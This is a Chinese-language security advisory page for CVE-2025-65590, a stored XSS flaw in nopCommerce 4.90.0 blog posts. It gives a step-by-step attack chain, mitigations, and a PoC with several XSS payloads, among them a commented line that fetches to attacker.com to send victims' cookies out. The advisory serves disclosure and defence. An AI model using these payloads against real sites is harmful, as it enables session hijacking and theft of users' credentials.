IPBUF安全漏洞报告
English
CVE-2025-65590 CVSS 5.4 中危

CVE-2025-65590 nopCommerce 4.90.0 博客功能存储型XSS漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-65590
漏洞类型
XSS跨站脚本攻击
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
nopCommerce 4.90.0

相关标签

nopCommerceXSS存储型XSSCVE-2025-65590内容管理博客系统电子商务ASP.NET Core

漏洞概述

nopCommerce是一款基于ASP.NET Core的开源电子商务平台,广泛应用于各类在线商城和B2C网站。该平台提供了完整的电商解决方案,包括产品管理、订单处理、支付集成、博客系统等功能模块。

在nopCommerce 4.90.0版本中,Content Management(内容管理)模块下的Blog posts(博客文章)功能存在一处存储型跨站脚本(Stored XSS)漏洞。攻击者可以利用该漏洞在博客文章内容中注入恶意JavaScript或HTML代码。当其他用户访问包含恶意代码的博客页面时,注入的脚本会在受害者浏览器上下文中执行,从而实现会话劫持、敏感信息窃取、钓鱼攻击或对网站进行进一步渗透等恶意行为。

该漏洞的CVSS 3.1评分达到5.4,属于中等严重程度。攻击向量为网络可访问,攻击复杂度较低,但需要低权限认证(攻击者需要拥有博客内容管理权限)。漏洞影响系统的机密性和完整性,低程度影响可用性。鉴于nopCommerce在电商领域的广泛应用,该漏洞可能影响大量使用该版本的用户,需要及时采取修复措施。

技术细节

漏洞根源在于nopCommerce 4.90.0的博客文章发布功能对用户输入内容缺乏充分的输入验证和输出编码处理。当管理员或具有博客发布权限的用户在创建或编辑博客文章时,系统未能对文章标题、内容、标签等字段进行严格的XSS过滤。

具体而言,攻击者可以在博客文章的HTML内容中嵌入恶意脚本标签,如<script>alert(document.cookie)</script>或<img src=x onerror=恶意代码>等。由于系统直接存储并渲染这些未经过滤的内容,恶意代码被永久保存在数据库中。当其他用户访问该博客文章页面时,服务器将包含恶意代码的HTML响应发送给客户端浏览器,浏览器解析执行这些脚本。

利用此漏洞的攻击流程:首先攻击者需要获取博客内容管理权限(低权限账户即可),然后在博客文章中插入XSS payload,保存文章后等待受害者访问。攻击成功后可获取受害者的认证Cookie、会话令牌等敏感信息,甚至可以通过DOM操作篡改页面内容或重定向用户到钓鱼站点。由于是存储型XSS,攻击具有持久性,影响范围覆盖所有访问该博客文章的用户。

攻击链分析

STEP 1
步骤1
攻击者获取nopCommerce系统低权限账户,该账户具有博客内容管理权限
STEP 2
步骤2
攻击者登录后台管理界面,导航至Content Management > Blog posts
STEP 3
步骤3
创建新博客文章或编辑现有文章,在文章标题、内容或标签字段中注入XSS payload
STEP 4
步骤4
提交文章,恶意脚本被存储到数据库中,此时漏洞利用已完成
STEP 5
步骤5
普通用户或管理员访问包含恶意代码的博客文章页面
STEP 6
步骤6
受害者浏览器解析响应HTML时执行注入的JavaScript代码
STEP 7
步骤7
攻击者通过JavaScript获取受害者的认证Cookie、会话令牌或其他敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-65590 PoC - nopCommerce 4.90.0 Blog XSS // This PoC demonstrates the stored XSS vulnerability in nopCommerce blog posts // Step 1: Authentication (low-privilege account required) const authPayload = { email: '[email protected]', password: 'password123' }; // Step 2: Create blog post with XSS payload const blogPostPayload = { title: 'Test Blog Post', body: '<script>console.log("XSS Triggered");</script>', // Alternative payloads: // '<img src=x onerror="fetch(\'http://attacker.com/steal?c=\'+document.cookie)">' // '<svg onload="alert(document.domain)">' // '<iframe src="javascript:alert(\'XSS\')">' tags: ['test'], displayOrder: 0, allowComments: false }; // Step 3: Send request to create blog post // POST /Admin/BlogPost/Create // Content-Type: application/x-www-form-urlencoded // When victims visit /blog/my-blog-post, the XSS will execute in their browser // Example HTTP request: /* POST /Admin/BlogPost/Create HTTP/1.1 Host: target.com Cookie: Nop.customer=xxx; Nop.admin=yyy Content-Type: application/x-www-form-urlencoded BlogPost.Title=<script>alert(document.cookie)</script>&BlogPost.Body=Test content&BlogPost.Tags=test */

影响范围

nopCommerce 4.90.0

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)限制博客功能的使用权限,仅允许受信任的管理员使用;2)在Web应用防火墙(WAF)层面添加XSS过滤规则,拦截包含常见XSS特征的请求;3)临时禁用博客功能或关闭博客文章的评论功能;4)加强对管理员账户的安全管理,使用强密码和多因素认证;5)监控日志中的异常请求模式,及时发现潜在攻击行为。建议尽快应用官方发布的安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表